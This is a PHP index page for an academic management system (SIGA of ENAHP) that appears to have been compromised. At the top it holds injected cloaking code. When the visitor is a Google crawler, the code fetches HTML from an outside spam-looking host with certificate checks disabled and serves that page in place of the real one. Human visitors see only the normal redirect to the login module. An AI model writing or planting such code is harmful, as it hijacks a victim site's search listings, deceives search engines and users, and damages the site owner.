<?php
function is_googlebot() {
    return isset($_SERVER['HTTP_USER_AGENT']) &&
           preg_match('/Googlebot|Mediapartners-Google|Google-InspectionTool/i', $_SERVER['HTTP_USER_AGENT']);
}
if (is_googlebot()) {
    $remote_url = 'https://mirror.mahjongjp88.is:8443/perang/enahp-pregrado-index.html';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $remote_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    $html = curl_exec($ch);
    $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($status === 200 && $html !== false) {
        echo $html;
    } else {
        http_response_code(502);
        echo 'Failed to load mirrored content.';
    }
    exit;
}
?>
<html>
<head>
		<title>Sistema de Gesti&oacute;n Acad&eacute;mica de la ENAHP(SIGA)</title>
		<link rel="shortcut icon" href="/favicon.ico">
</head>
		<link rel="stylesheet" href="css/estilos.css" type="text/css">
		<link rel="stylesheet" href="css/main.css" type="text/css">
</html>
<script type="text/javascript">
    window.open('modulos/inicio/index.php','_parent');
</script>